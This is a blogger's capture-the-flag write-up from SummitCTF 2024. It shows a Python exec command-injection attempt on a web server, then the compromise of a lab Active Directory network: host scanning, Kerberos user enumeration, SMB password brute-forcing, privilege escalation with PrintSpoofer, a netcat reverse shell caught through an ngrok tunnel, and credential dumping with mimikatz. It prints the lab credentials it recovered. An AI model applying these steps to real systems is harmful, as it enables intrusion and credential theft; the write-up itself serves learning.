SummitCTF 2024

Tier: Beginner

About

SummitCTF is an annual Capture the Flag (CTF) competition hosted by the Cybersecurity Club at Virginia Tech (CyberVT). This year the competition had two competition tiers: One for experienced students and one for beginners. The main difference between the two tiers is that the lab network for experienced players had Windows Defender active and blue teamers roaming around.

Jeopardy Style CTF

The Jeopardy Style CTF was setup to include categories such as Cryptography, Forensics, Reverse Engineering, Web etc. There were also KOTH(King of the Hill) challenges setup towards the end of the competition, which was pretty fun to do as well.

Social Engineering Challenge

The social engineering challenge this year was called "Let's Get Physical" worth 600 points. The objective was to get physical access to a computer at registration and read a flag on the computer without the CTF admin noticing. Our team of 3 was unable to attempt this challenge successfully. But from what i heard, the CTF admin was very suspicious after someone ran off with the computer 🀣.

Most of the teams were able to successfully social engineer their way to the flag, while others waited for the CTF admin to go to the restroom and took a picture.

External Site

This year an external web server was set up to imitate a real external penetration testing engagement where an initial foothold is gained externally to move into the internal network. Once a team was able to read the flag on the back end of the web server, the competition organizers enabled the machines in the internal active directory environment, where teams could connect using openvpn files provided by the competition organizers.

I was unable to get the foothold, i was close, i was able to identify that some sort of command injection existed, but i was not able to get the right payload to retrieve the flag needed to advance into the internal network.

Here is how far i got.

CTRL + U

We were given a public ip http://<IP> to the target, and the first thing that i was met with was a login page, i first registered for an account and i also inspected the source code and found a comment:

Have source code reviewed by security team because of leakage: https://pastebin.com/cu6UKRZm 

This portion of the source code for the web app definitely does look interesting, specifically the exec(cmd) portion where a command injection may be possible via the URL:

@app.route('/share')                                                                                            
def share_post():                                                                                               
    post_id = request.args.get('post', default='index.html')                                                    
    try:                                                                                                        
        cmd = f'print(requests.post("https://tinyurl.com/api-create.php", data={{"url": "{request.url_root}view_
post/{post_id}"}}).text)'                                                                                       
        f = StringIO()                                                                                          
        with redirect_stdout(f):                                                                                
        #cmd = 'print("test")'                                                                                  
            exec(cmd)                                                                                           
        return f.getvalue()                                                                                     
    except Exception as e:                                                                                      
        return str(e)   

Fuzzing for Directories with Ffuf

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://<IP>:/FUZZ

login                   [Status: 200, Size: 578, Words: 125, Lines: 20, Duration: 66ms]                         
register                [Status: 200, Size: 666, Words: 114, Lines: 22, Duration: 58ms]                         
user                    [Status: 302, Size: 225, Words: 18, Lines: 6, Duration: 49ms]                           
board                   [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 39ms]                           
logout                  [Status: 302, Size: 229, Words: 18, Lines: 6, Duration: 38ms]                           
share                   [Status: 200, Size: 29, Words: 1, Lines: 2, Duration: 361ms]

This reveals some interesting directories already revealed in the source code leakage, at this point i wanted to analyze the /share endpoint even further because of the exec(cmd) portion of the source code.

Python Command Injection

After logging in with the account i registered, a user was able to make posts, view posts, and share posts on the main page's dashboard. After doing a few of these things myself i noticed:

/share?post=1                                                                                                   
/share?post=post_id 

So i tried:

/share?post=1;import os; os.system('whoami')                                                                    

This returned a python error, which means i was able to inject something, but it just wasn't in the right format unfortunately. At this point i went off in a tangent in trying to find a sql injection via a post functionality when i should have further investigated the error πŸ˜‚

Looking back after completing the CBBH path on HTB, this would have been much easier now 😭

Internal AD Network

Our team was firstly unable to attempt the lab environment because we were unable to get the foothold on the external site. But there was also a resource limitation at the time, so even if we did, we wouldn't be able to connect. But it was announced after the CTF that everyone would get a shot at trying to compromise the domain. Here is my attempt and how far i was able to get:

Identifying Internal Hosts

Scope: 172.31.16.1/20

Given the scope we started off by identifying live hosts in the network using fping and nmap. Also note that this was after the competition, meaning we can treat this as a CTF and be as loud as we want, but on a real pentest this may not be the stealthiest way to identify live hosts. In a real pentest we could have identified the hosts using more passive methods like wireshark and responder in analyze mode.

fping -asgq 172.31.16.1/20

172.31.16.1                                                                                                     
172.31.17.2                                                                                              
172.31.17.3                                                                                    
172.31.17.4                                                                                     
172.31.17.5                                                                                        
172.31.17.6

We can copy and paste the output into a text file "hosts.txt", then we can use this file in a nmap scan to get a general idea about what ports are open on each host and save it in all formats.

sudo nmap -Pn -n --disable-arp-ping -oA nmap/host -iL hosts.txt

Nmap scan report for 172.31.17.2                                                                                
Host is up (0.045s latency).                                                                                    
Not shown: 988 filtered tcp ports (no-response)                                                                 
PORT     STATE SERVICE                                                                                          
53/tcp   open  domain                                                                                           
88/tcp   open  kerberos-sec                                                                                     
135/tcp  open  msrpc                                                                                            
139/tcp  open  netbios-ssn                                                                                      
389/tcp  open  ldap                                                                                             
445/tcp  open  microsoft-ds                                                                                     
464/tcp  open  kpasswd5                                                                                         
593/tcp  open  http-rpc-epmap                                                                                   
636/tcp  open  ldapssl                                                                                          
3268/tcp open  globalcatLDAP                                                                                    
3269/tcp open  globalcatLDAPssl                                                                                 
3389/tcp open  ms-wbt-server  

Nmap scan report for 172.31.17.3                                                                                
Host is up (0.038s latency).                                                                                    
Not shown: 993 closed tcp ports (reset)                                                                         
PORT     STATE    SERVICE                                                                                       
21/tcp   open     ftp                                                                                           
135/tcp  open     msrpc                                                                                         
139/tcp  open     netbios-ssn                                                                                   
443/tcp  open     https                                                                                         
445/tcp  open     microsoft-ds                                                                                  
3389/tcp open     ms-wbt-server                                                                                 
7777/tcp filtered cbt  

Nmap scan report for 172.31.17.4                                                                                
Host is up (0.041s latency).                                                                                    
Not shown: 995 closed tcp ports (reset)                                                                         
PORT     STATE SERVICE                                                                                          
135/tcp  open  msrpc                                                                                            
139/tcp  open  netbios-ssn                                                                                      
445/tcp  open  microsoft-ds                                                                                     
3389/tcp open  ms-wbt-server                                                                                    
5357/tcp open  wsdapi       

Nmap scan report for 172.31.17.5                                                                                
Host is up (0.037s latency).                                                                                    
Not shown: 999 filtered tcp ports (no-response)                                                                 
PORT     STATE SERVICE                                                                                          
1433/tcp open  ms-sql-s                                                                                         
                                                                                                                
Nmap scan report for 172.31.17.6                                                                                
Host is up (0.037s latency).                                                                                    
Not shown: 996 filtered tcp ports (no-response)                                                                 
PORT     STATE SERVICE                                                                                          
80/tcp   open  http                                                                                             
443/tcp  open  https                                                                                            
3389/tcp open  ms-wbt-server                                                                                    
5357/tcp open  wsdapi  

From this output it looks like 172.31.17.2 is the domain controller because port tcp/389 ldap is open, and all other hosts could be workstations. Let's take a look at 172.31.17.3 first which has a ftp service running on it.

WORKSTATION01 (172.31.17.3)

export IP=172.31.17.3
echo $IP

Nmap Scan

Given our first nmap scan where we identified the open ports on each host, let's do a targeted port and service scan on this machine to see what we are dealing with.

sudo nmap -p21,135,139,443,445,3389 -sV -sC $IP

PORT     STATE SERVICE       VERSION                                                                            
21/tcp   open  ftp           Microsoft ftpd                                                                     
| ftp-anon: Anonymous FTP login allowed (FTP code 230)                                                          
|11-17-23  09:35PM                23040 SummitCorpPasswordReset.exe                                             
| ftp-syst:                                                                                                     
|  SYST: Windows_NT                                                                                             
135/tcp  open  msrpc         Microsoft Windows RPC                                                              
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn                                                      
443/tcp  open  https?                                                                                           
445/tcp  open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds                               
3389/tcp open  ms-wbt-server Microsoft Terminal Services                                                        
|ssl-date: 2024-04-25T16:38:53+00:00; +5s from scanner time.                                                    
| ssl-cert: Subject: commonName=Workstation01.summit.corp                                                       
| Not valid before: 2024-04-24T10:29:41                                                                         
|Not valid after:  2024-10-24T10:29:41                                                                          
| rdp-ntlm-info:                                                                                                
|   TargetName: SUMMIT                                                                                          
|   NetBIOS_Domain_Name: SUMMIT                                                                                 
|   NetBIOS_Computer_Name: WORKSTATION01                                                                        
|   DNS_Domain_Name: summit.corp                                                                                
|   DNS_Computer_Name: Workstation01.summit.corp                                                                
|   DNS_Tree_Name: summit.corp                                                                                  
|   Product_Version: 10.0.14393                                                                                 
|_  System_Time: 2024-04-25T16:38:47+00:00                                                                      
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:                                                                                            
|nbstat: NetBIOS name: WORKSTATION01, NetBIOS user: <unknown>, NetBIOS MAC: 0a:66:96:de:55:a3 (unknown)         
| smb-security-mode:                                                                                            
|   accountused: guest                                                                                          
|   authentication_level: user                                                                                  
|   challenge_response: supported                                                                               
|_  message_signing: disabled (dangerous, but default)                                                          
| smb2-time:                                                                                                    
|   date: 2024-04-25T16:38:48                                                                                   
|_  start_date: 2024-04-25T10:29:42                                                                             
|clock-skew: mean: 4s, deviation: 0s, median: 4s                                                                
| smb2-security-mode:                                                                                           
|   3:1:1:                                                                                                      
|    Message signing enabled but not required 

Here we identify some pretty important information such as:

  • Computer Name: Workstation01

  • DNS Computer Name: Workstation01.summit.corp

  • Domain Name: summit.corp

  • ftp-anon login is allowed and has the SummitCorpPasswordReset.exe executable

FTP-Anon

Let's go ahead and login and download the executable:

ftp $IP                                                                                                         
Connected to 172.31.17.3.                                                                                       
220 Microsoft FTP Service                                                                                       
Name (172.31.17.3:ozzy): anonymous                                                                              
331 Anonymous access allowed, send identity (e-mail name) as password.                                          
Password:                                                                                                       
230 User logged in.                                                                                             
Remote system type is Windows_NT. 
                                                                              
ftp> ls                                                                                                         
229 Entering Extended Passive Mode (|||50005|)                                                                  
125 Data connection already open; Transfer starting.                                                            
11-17-23  09:35PM                23040 SummitCorpPasswordReset.exe                                              
226 Transfer complete.             
                                                                             
ftp> get SummitCorpPasswordReset.exe                                                                            
local: SummitCorpPasswordReset.exe remote: SummitCorpPasswordReset.exe                                          
229 Entering Extended Passive Mode (|||50007|)                                                                  
150 Opening ASCII mode data connection.                                                                         
100% |*******************************************************************| 23040      337.67 KiB/s    00:00 ETA 
226 Transfer complete.                                                                                          
WARNING! 41 bare linefeeds received in ASCII mode.                                                              
File may not have transferred correctly.                                                                        
23040 bytes received in 00:00 (336.88 KiB/s)                                                                    
ftp> 

SummitCorpPasswordReset.exe

Some of the first things i do when reverse engineering is using file and strings to see if i can get an idea of what this executable is and what it's usage is.

file SummitCorpPasswordReset.exe 

SummitCorpPasswordReset.exe: MS-DOS executable
strings SummitCorpPasswordReset.exe      
                                                                       
net user SUMMIT\Prissie.Hilda                                                                                   
Password reset successfully.                                                                                    
Error resetting password.                                                                                       
Unknown exception                                                                                               
bad array new length                                                                                            
string too long                                                                                                 
bad allocation    

Using strings gives a possible user in the internal network, this also reveals the user schema as first.last. Which could be useful when trying to identify users. I also tried analyzing the executable in ghidra, i think the password is somehow encrypted/encoded somewhere, but i never got to it.

Analysis in Ghidra

SMB

Knowing that smb is also open i tested for a smb null session. In this case it was not possible to authenticate via a smb null session. If it was possible we could have enumerated users,shares, or the password policy using tools like smbclient, rpcclient, and crackmapexec, or even netexec.

smbclient -N -L //$IP

rpcclient -U "" -N $IP                                                                             
        querydominfo                                                                                            
        getdompwinfo   
         
crackmapexec smb $IP -U '' -p '' --shares

Identify Users with Kerbrute

Now we could try to identify possible users using kerbrute and a wordlist of users, in this case rockyou.txt was mangled to match first.last. You could download the kerbrute amd64 binary here at https://github.com/ropnop/kerbrute/releases/tag/v1.0.3. We can do this by specifying the domain, domain controller ip, and wordlist of possible users.

./kerbrute_linux_amd64 userenum -d summit.corp --dc 172.31.17.2 user.txt

2024/04/25 13:07:38 >  [+] VALID USERNAME:       debera.anabel@summit.corp                                      
2024/04/25 13:07:38 >  Done! Tested 1342 usernames (1 valid) in 8.717 seconds 

We got a user! debera.anabel@summit.corp

Great we got a valid user, but what is their password?

Bruteforce SMB Creds

I was able to get debera's password by bruteforcing for smb creds debera.anabel:pyramid9001. In a real pentest, this would not be advised due to account lockout and detection. Instead you could do a targeted and slow bruteforce with a smaller password list and a limit on how often you try passwords.

crackmapexec smb $IP -u debera.anabel -p /usr/share/wordlists/rockyou.txt -d summit.corp                        
SMB         172.31.17.3     445    WORKSTATION01    [+] summit.corp\debera.anabel:pyramid9001 

Kerberoasting

Now that we got some creds, maybe we can identify kerberoastable users? But unfortunately, we did not find any.

GetUserSPNs.py -dc-ip 172.31.17.2 summit.corp/debera.anabel                                                     
No entries found!  

Evil-Winrm

We got creds, even though they may not work using psexec.py in this case, we must remember that there are other services that may use this password. Let's try evil-winrm.

evil-winrm -i 172.31.17.3 -u debera.anabel -p pyramid9001 
                                                     
Evil-WinRM PS C:\Users\debera.anabel\Documents> whoami                                                          
summit\debera.anabel                                                                                            
Evil-WinRM PS C:\Users\debera.anabel\Documents> 
Auth via evil-winrm

PrivEsc: SeImpersonatePrivilege

Now that we are authenticated as debera we can first check what privs our user has, and it turns out debera has the SeImpersonatePrivilege enabled which determines which programs are allowed to impersonate a user or other specified accounts and perform actions on behalf of the user, in this case we want to perform actions on behalf of the nt authority\system user.

*Evil-WinRM* PS C:\Users\debera.anabel\Documents> whoami /priv   
                                               
PRIVILEGES INFORMATION                                                                                          
----------------------                                                                                          
                                                                                                                
Privilege Name                Description                               State                                   
============================= ========================================= =======                                 
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled                                 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled                                 
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

Perfect, this can be exploited in a number of ways. Here i will be using PrintSpoofer64.exe executable found here, https://github.com/itm4n/PrintSpoofer

PrintSpoofer

After downloading the PrintSpoofer64.exe we can upload it to the machine via evil-winrm's upload command.

*Evil-WinRM* PS C:\Users\debera.anabel\Documents> upload /home/ozzy/Downloads/PrintSpoofer64.exe

We will also need nc.exe to create a reverse shell to our ngrok C2.

ozzy@kali:~/Files$ cp /usr/share/windows-binaries/nc.exe .
*Evil-WinRM* PS C:\Users\debera.anabel\Documents> upload /home/ozzy/Files/nc.exe

Ngrok Setup and Exploitation

Now, according to the PrintSpoofer github README we can create a reverse shell. Here we want to execute PrintSpoofer64.exe and create a reverse shell connection which will be caught on a listener we setup.

This blog post really helped in the setup of the ngrok c2, https://drxh3kr.medium.com/using-netcat-with-ngrok-ip-for-receiving-reverse-shell-25ba7a498aab

After creating an account and adding my auth token to my config file, i could now setup my ngrok IP to serve as a c2 to catch the reverse shell.

ngrok tcp 443

Running the command above starts a tcp tunnel. Note any traffic going to our public ip on port 10473 will be redirected to our local host on 443, so when setting up our listener we should specify port 443.

We can run the following to figure out our public ip which we will specify when creating the reverse connection.

Identify ngrok public ip

Now that we have the public ip 3.132.159.158 and the port 10473, we can setup a listener. Recall that any traffic going to our public ip on port 10473 will be redirected to our local host on 443, so when setting up our listener we should specify port 443.

ozzy@kali:~/Downloads$ sudo nc -lvnp 443
Running the rev connection with nc.exe executable we uploaded
We caught a privileged shell!

Dumping Lsass with Mimikatz

Now that we have escalated privileges we can dump lsass to try and get any NTLM hashes or cleartext passwords of any other users.

We can do this using mimikatz.exe found here https://github.com/ParrotSec/mimikatz/tree/master/x64

Like we did with PrintSpoofer64.exe and nc.exe we can upload it via our low priv user evil-winrm session.

*Evil-WinRM* PS C:\Users\debera.anabel\Documents> upload /home/ozzy/Downloads/mimikatz.exe

Once uploaded, i switched to the tmux pane where i caught the privileged reverse shell and ran mimikatz to dump lsass.

C:\Windows\system32> cd C:\Users\debera.anabel\Documents
C:\Users\debera.anabel\Documents> .\mimikatz.exe

mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords

From here we got some pretty interesting credentials for another user.

brooks.eloise:*00junebug80*

WORKSTATION02

I was given plenty of time to get this far, started at about 12pm-8pm, but this is as far as i got πŸ˜‚. Given that we found other credentials we could have possibly used them on this machine and the services running on it. Given my initial nmap scan, my next step would have been this:

sudo nmap -p135,139,445,3389,5357 -sV -sC 172.31.17.4

After scanning the ports and their service versions i would have followed this checklist using brooks.eloise creds:

  • SMB Credentialed Enumeration?

    • shares,files with hardcoded credentials,users, password policy etc.

  • Auth via Evil-Winrm,psexec.py, crackmapexec etc.

    • internal services?

  • RDP session w xfreerdp?

    • interact with internal services?

    • find config files with hardcoded credentials?

Last updated